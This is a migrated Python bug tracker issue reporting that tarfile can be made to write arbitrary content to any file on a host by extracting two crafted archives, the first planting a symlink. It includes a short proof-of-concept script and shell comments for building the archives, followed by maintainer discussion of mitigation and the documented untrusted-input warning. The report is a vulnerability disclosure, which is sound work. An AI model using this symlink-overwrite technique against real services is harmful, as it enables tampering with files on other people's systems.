"tarfile" library will lead to "write any content to any file on the host".

[leveryd]

BPO	44023
Nosy	@gpshead, @merwok
Files	poc.tar.gz

^{Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.}

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GitHub fields:

assignee = None
closed_at = None
created_at = <Date 2021-05-03.17:44:03.787>
labels = ['type-security', '3.7', 'library']
title = '"tarfile" library will lead to "write any content to any file on the host".'
updated_at = <Date 2021-05-08.03:14:09.942>
user = 'https://bugs.python.org/leveryd'

bugs.python.org fields:

activity = <Date 2021-05-08.03:14:09.942>
actor = 'gregory.p.smith'
assignee = 'none'
closed = False
closed_date = None
closer = None
components = ['Library (Lib)']
creation = <Date 2021-05-03.17:44:03.787>
creator = 'leveryd'
dependencies = []
files = ['50005']
hgrepos = []
issue_num = 44023
keywords = []
message_count = 3.0
messages = ['392827', '393219', '393234']
nosy_count = 3.0
nosy_names = ['gregory.p.smith', 'eric.araujo', 'leveryd']
pr_nums = []
priority = 'normal'
resolution = None
stage = None
status = 'open'
superseder = None
type = 'security'
url = 'https://bugs.python.org/issue44023'
versions = ['Python 3.7']

[leveryd]

if uncompress file twice to the same dir, attacker can "write any content to any file on the host"".

poc code like below:

import tarfile


dir_name = "/tmp/anything"
file1_name = "/tmp/a.tar.gz"  # ln -sv /tmp/a test_tar/a;tar -cvf a.tar.gz test_tar/a
file2_name = "/tmp/b.tar.gz"  # echo "it is just poc" > /tmp/payload; rm -rf test_tar; cp /tmp/payload test_tar/a;tar -cvf b.tar.gz test_tar/a


def vuln_tar(tar_path):
	"""
	:param tar_path:
	:return:
	"""
	import tarfile
	tar = tarfile.open(tar_path, "r:tar")
	file_names = tar.getnames()
	for file_name in file_names:
	    tar.extract(file_name, dir_name)
	tar.close()


vuln_tar(file1_name)
vuln_tar(file2_name)

in this poc code, if one service uncompress tar file which is uploaded by attacker to "dir_name" twice, attacker can create "/tmp/a" and write "it is just poc" string into "/tmp/a" file.

[merwok]

Can you contact the security team (info at https://www.python.org/dev/security/ ) directly?

In general, tarfile (and other Python file functions!) can create files anywhere on the filesystem, provided that the process user has the right permissions. But it seems that you’re talking about an unexpected behaviour leading to unwanted operations, so please send more details about the problem to the team. Thank you for your report!

[gpshead]

TL;DR - A tar file being extracted doesn't check to see if it is overwriting an existing file, which could be a symlink to elsewhere leading to elsewhere's contents being clobbered assuming the elsewhere file exists.

doing an unlink before opening the destination file (ignoring either success or FileNotFound) during extract would avoid this _specific_ case.

But tarfile is already documented with a warning about untrusted inputs being able to do bad things:

https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall

fixing this one serialized case doesn't do anything about other cases or race conditions we won't claim protection against, so I'm not sure this issue is serious from a stdlib perspective.

[nascheme]

This looks like a relevant change from OpenBSD pax:

Prevent an archive from esacaping the current directory by itself
openbsd/src@6b45b47

Handling symlinks in general is fraught with danger. See:

https://lwn.net/Articles/899543/

[gpshead]

hah, I enjoy the editorial description of what openbsd does in their comment: openbsd/src@6b45b47#diff-8934d8de794095d2f05a1d6ff3354b371ce2d2e01d0fe4ddf43b853ef5a0e077R460